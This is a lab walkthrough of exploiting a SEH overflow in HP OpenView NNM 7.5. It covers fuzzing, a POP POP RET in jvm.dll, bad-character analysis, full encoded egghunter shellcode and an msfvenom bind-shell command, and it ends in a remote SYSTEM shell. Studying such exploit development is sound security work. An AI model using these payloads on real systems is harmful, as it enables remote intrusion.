[ExpDev] HP OpenView NNM 7.5 Exploitation — SEH; Egghunter

TL;DR

Hello! Today I will be going over how to exploit HP OpenView NNM (release — B.07.50) application leveraging “OVAS.exe.” The 0day vulnerability was introduced to the public in 2011 by Mati Aharon at DEFCON 16. The talk is amazing, and he pretty much walks to you through from finding a bug to developing an exploit in order to get a shell. However, some of the parts were explained in very high-level, and I just wanted to reproduced an exploit on my own. So here we go, and in the following sections, I will try to explain how this exploit is going to be done in more details.

Setup

  • Target Box — Windows Server 2003 SP 1
  • Attacking Box — Kali Linux
  • Debugger — Olly
  • HP OpenView NNM (release — B.07.50)
  • Egghunter.exe (Pre-compiled Windows Executable)
  • Bad Character Analysis Kit (Automated Python Script)

1. Fuzzing → Entry Point Identification

For identifying an entry point, we will be using a technique called “fuzzing” to find a bug in the application. “Fuzzing” is basically sending a set of random/invalid/unexpected strings as inputs to a program so that we can monitor for errors or exceptions like crashes or memory leaks. To do that, we first need to identify which variables to fuzz. We will be using Wireshark to capture the web request that we will make from our attacking Kali box.

Let’s run Wireshark to capture our web request while browsing the HP NNM main page. Go to Capture > Capture Filters to configure our filter to capture only port 7510:

Now, let’s browse the HP NNM main home page:

Let’s query for http and follow the HTTP Stream:

Nice. We have a web request that we can leverage to create our fuzz template. (I know that you might be thinking why not I should have used Burp instead of capturing the web request; however, I just wanted to emphasize Wireshark here that it is really great tool to analyze your network traffic in general. You might need to fuzz some other protocols other then HTTP some other day :])

For our fuzzing, we will be using Spike, a GPL’d API and set of tools that allows you to create network protocol stress testers. Spike is also such a great fuzzer to use for discovering software vulnerabilities. In order to use Spike, we need to creates a fuzzer template. We will be using the captured web request for the HP NNM suite to create a template: hp_nnm.spk. And for our demonstration purposes, we will fuzz the known vulnerable variables: “IP” and “Port”

Ones with “s_string_variable” are what we will be sending our blocks of random data in order to create a crash

Once we have a fuzzer template, we will be using generic_send_tcp utility of Spike to start fuzzing the HP NNM. Before we do that, we need to attach “OVAS.exe” to Olly:

Attaching “OVAS.exe” to Olly
Usage: ./generic_send_tcp host port spike_script SKIPVAR SKIPSTR

And soon enough, we will observe the HP NNM is crashed. When we follow the block of the ASCII characters in memory dump, we can see that a big chunk of random data has been sent to Host: header, which created a crash. Additionally, we can notice that SEH Chain is overwritten by fuzz buffer 2222... indicating that we can control EIP after passing the exception to program:

We will create our exploit script with Python:

exploit.py

Let’s see if our exploit script is correctly created by crashing the HP NNM again with it:

Perfect, we were successfully able to create the same crash with our script and can also see that SEH is now overwritten with our buffer A.

2. SEH Overwrite → POP POP RET (Stage 1)

Since we have the SEH overwrite, our next step is to find exact offset value and place an address for our desired POP POP RET location so that we can continuously control the execution flow. As usual, we will use the Metasploit’s pattern_create.rb and pattern_offset.rb to do our jobs. First, we will create 4,000 Unique Patterns:

pattern_create.rb -l 4000

Update our exploit scrip with those unique patterns:

Let’s run this script to find out what is our offset value:

SEH is now overwritten with the value, “45376945.” We can now use pattern_offset.rb to find out exact offset value:

pattern_offset.rb -q 45376945

The offset value is “3381.” Now let’s update our script to see if we can control SEH. We will attempt to overwrite SEH with 4 \x42s.

exploit.py

Sweet. As intended, we have successful control over SEH. And when we pass exception to program by pressing Shift + F9, we now have EIP overflowed with \x42s.

Our next step is to implement a “POP POP RET” technique which will redirect us to 4 bytes previous to the return address; then, we can use short jump to redirect our execution flow to a bigger place to continue adding our desired code there. In order to do that, we need to find a module that is not compiled with SafeSEH and ASLR. For this demonstration, we will be using a return address in “ov.dll” file. (*Future reference, you can use mona.py with Immunity debugger to easily identify the said modules. Command: !mona nosafesehaslr) For this, we will be using “findjum2.exe” program.

findjum2.exe ov.dll EBX

We found the return address: 0x5A02EF74

Let’s update our script and see if we can land on the return address as intended.

exploit.py

Something’s up… So when we checked the SEH Chain after sending our payload, we can see that the return address is different than what we specified. It turned out to be that HP NNM recognizes \xEF as a bad character, and it mangled it to \xAF\xC3. At this point, it will become a bit complicated, and we need to start our fight to find out all the bad characters recognized by HP NNM.

HP NNM has a lot of bad characters, so we will use a beautiful pre-generated automated script to identify each good and bad character: bad_char.py and dependency.zip (Author: greyshell)

python.exe "c:\Documents and Settings\Administrator\Desktop\bad_char.py
bad_char.py

At the end, we will have set of good and bad characters:

[+] bad chars: \x00\x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4
\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
[+] good chars: \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52
\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f

Further searching for bad character friendly return address identified that we could possibly use the EBX = 0x6D356C6E address within “jvm.dll” file. We can again use “findjump2.exe” to find that address.

findjump2.exe "c:\Program Files\HP OpenView\jre\jre1.4\bin\client\jvm.dll" ebx | more

Let’s update our exploit script to add our new return address.

exploit.py

Let’s run this new exploit script against HP NNM. (Before sending our payload, please set a breakpoint at 6D356C6E address.)

Perfect. We now have the intended return address overwriting the SEH Chain. Press Shift + F9 to accept the exception. Then, we will be landed to our POP POP RET address.

So, when we follow the POP POP RET by pressing F7 three times, we have 4 bytes to work with.

As a usual SEH overflow, we can implement a short jump EB D0 to redirect our execution flow to bigger area; however, we can quickly realize that both EB and D0 are bad characters. Therefore, we will use more creative conditional jump 4C 4C 77 21 in order to avoid any bad characters.

Select the area → Binary Edit → Edit the HEX value to our conditional jump

Let’s execute the conditional jump. And we are now landed to the address 1045FE59 where we have about 400 bytes to play with. It might be enough space to put a bind-shell but there should be a lot of bad characters to bypass or encode our shellcode. At the end, this might be not an ideal space to add our shellcode.

Let’s update our exploit script to add the conditional jump.

exploit.py

Also, further research found that if we add additional buffer space at the end of the HTTP request, that space does not get affected by the bad characters.

However, it is not possible to jump to that buffer space since it doesn’t have registers pointing to the buffer. Now, we need to use our hidden player = Egghunter. I also covered how to use Egghunter to find a right signature within memory in my previous blog post here.

3. Egghunter (Stage 2)

First, let’s create our Egghunter using pre-compiled “egghunter.exe.” We will use “W00TW00T” as our signature. Let’s convert our signature to HEX.

egghunter.exe

The following is our Egghunter; however, as you can see, it contains bad characters…-_-

Egghunter =
\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7

Unfortunately, we need to encode our Egghunter shellcode and decode it in memory to bypass any bad characters. In order to do that, we will use a simple nice trick to control EAX to do all the stack placements and shellcode calculations. To help understanding, I have created a fully encoded Egghunter shellcode with explanation below:

egghunter = (
"\x25\x4A\x4D\x4E\x55" # EAX Zero Out
"\x25\x35\x32\x31\x2A" # EAX Zero Out
"\x54\x58" # POP ESP Address in EAX
"\x2D\x66\x4D\x55\x55" # Stack Aligned
"\x2D\x66\x4B\x55\x55" # for Decoded Egghunter Location
"\x2D\x6A\x50\x55\x55" # About 250 bytes after Encoded Egghunter
"\x50" # PUSH EAX
"\x5C" # POP ESP
"\x25\x4A\x4D\x4E\x55" # EAX Zero Out
"\x25\x35\x32\x31\x2A" # EAX Zero Out
"\x2D\x21\x55\x55\x55" # Egghunter
"\x2D\x21\x54\x55\x55" # Last 4 bytes
"\x2D\x49\x6F\x55\x6D" # \x75\xE7\xFF\xE7
"\x50" # PUSH EAX
"\x25\x4A\x4D\x4E\x55" # EAX Zero Out
"\x25\x35\x32\x31\x2A" # EAX Zero Out
"\x2D\x71\x21\x61\x75" # Egghunter
"\x2D\x71\x21\x61\x75" # Next 4 bytes
"\x2D\x6F\x47\x53\x65" # \xAF\x75\xEA\xAF
"\x50" # PUSH EAX
"\x25\x4A\x4D\x4E\x55" # EAX Zero Out
"\x25\x35\x32\x31\x2A" # EAX Zero Out
"\x2D\x44\x41\x7E\x58" # Egghunter
"\x2D\x44\x34\x7E\x58" # Next 4 bytes
"\x2D\x48\x33\x78\x54" # \x30\x57\x8B\xFA
"\x50" # PUSH EAX
"\x25\x4A\x4D\x4E\x55" # EAX Zero Out
"\x25\x35\x32\x31\x2A" # EAX Zero Out
"\x2D\x71\x7A\x31\x45" # Egghunter
"\x2D\x31\x7A\x31\x45" # Next 4 bytes
"\x2D\x6F\x52\x48\x45" # \xEF\xB8\x54\x30
"\x50" # PUSH EAX
"\x25\x4A\x4D\x4E\x55" # EAX Zero Out
"\x25\x35\x32\x31\x2A" # EAX Zero Out
"\x2D\x33\x73\x31\x2D" # Egghunter
"\x2D\x33\x33\x31\x2D" # Next 4 bytes
"\x2D\x5E\x54\x43\x31" # \x3C\x05\x5A\x74
"\x50" # PUSH EAX
"\x25\x4A\x4D\x4E\x55" # EAX Zero Out
"\x25\x35\x32\x31\x2A" # EAX Zero Out
"\x2D\x45\x31\x77\x45" # Egghunter
"\x2D\x45\x31\x47\x45" # Next 4 bytes
"\x2D\x74\x45\x74\x46" # \x02\x58\xCD\x2E
"\x50" # PUSH EAX
"\x25\x4A\x4D\x4E\x55" # EAX Zero Out
"\x25\x35\x32\x31\x2A" # EAX Zero Out
"\x2D\x52\x32\x32\x32" # Egghunter
"\x2D\x31\x31\x31\x31" # Next 4 bytes
"\x2D\x6E\x5A\x4A\x32" # \x0F\x42\x52\x6A
"\x50" # PUSH EAX
"\x25\x4A\x4D\x4E\x55" # EAX Zero Out
"\x25\x35\x32\x31\x2A" # EAX Zero Out
"\x2D\x31\x2D\x77\x44" # Egghunter
"\x2D\x31\x2D\x77\x44" # Next 4 bytes
"\x2D\x38\x24\x47\x77" # \x66\x81\xCA\xFF
"\x50") # PUSH EAX

It might be easier to explain while performing the exploit in a real action.

After our POP POP RET and the conditional jump, I placed our encoded Egghunter there.

In order to show you, how our first EAX zeroing out, I added a random string 12345678 for an EAX register at the address 1045FE5B.

Once we continue executing our encoded Egghunter, we can see the EAX is now zeroed out after the address 1045FE61.

As execution continued, the aligned stack will add a register location to ESP for the empty space to place our decoded Egghunter.

Then, as execution continued, we can magically see our last 4 bytes of the original Egghunter shellcode is decoded in the location where we pointed to.

Once all execution is completed, when we follow in dump of ESP, we can see the fully decoded Egghunter.

We are almost there to pop a shell. Our next step is to place our egg (=signature “W00TW00T”) at the beginning of the additional buffer space at the end of HTTP request and place our bind-shell afterward.

exploit.py
exploit.py

4. Bind Shell (Stage 3)

Let’s create a bind-shell with Msfvenom.

msfvenom -a x86 --platform=win -p windows/shell_bind_tcp LPORT=4444 -f c

Cool. Let’s finalize our exploit script with both the encoded Egghunter and bind-shell.

exploit.py

While attaching HP NNM to Olly, let’s send our evil payload.

Ha… but we don’t get our bind-shell…

When we follow the execution flow in debugger, we can see that our egg “W00TW00T” was successfully found, but somehow our bind-shell shellcode was not overwritten properly.

A little bit of research found that we can utilize a space next to User-Agent: and add our bind-shell payload there in order for it to be properly located within the HTTP request. Additionally, we also need to send another HTTP request containing our payload right after the first one. This will trigger and execute the bind-shell.

exploit.py

Let’s restart HP NNM and send our updated payload to see if we get a bind-shell this time.

Awesome! We can see that port 4444 is open on our HP NNM box. Let’s try to connect to it to get a shell.

Perfect! We obtained System-level access remotely via exploiting a SEH overflow bug within HP NNM suite.

5. Exploit Summary

  1. Fuzzing to find an entry point (SEH Overflow)
  2. Finding a suitable POP POP RET location to redirect our execution flow
  3. Bad Character Analysis on HP NNM application
  4. Placing a conditional jump to move to a bigger space
  5. Building an encoded Egghunter to bypass bad characters
  6. Adding a bind-shell shellcode as the payload

Conclusion

Honestly, I really enjoyed challenge of exploiting HP NNM. It definitely requires more than typical stack overflow type of exploit. Especially, I loved the fact that I had to manually encode the Egghunter by using assembly language. Thank you for reading and hope you also learned something from this. :D

My final exploit script can be found in this link.

OSCE | OSCP | CREST | Offensive Security Consultant — All about Penetration Test | Red Team | Cloud Security | Web Application Security

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store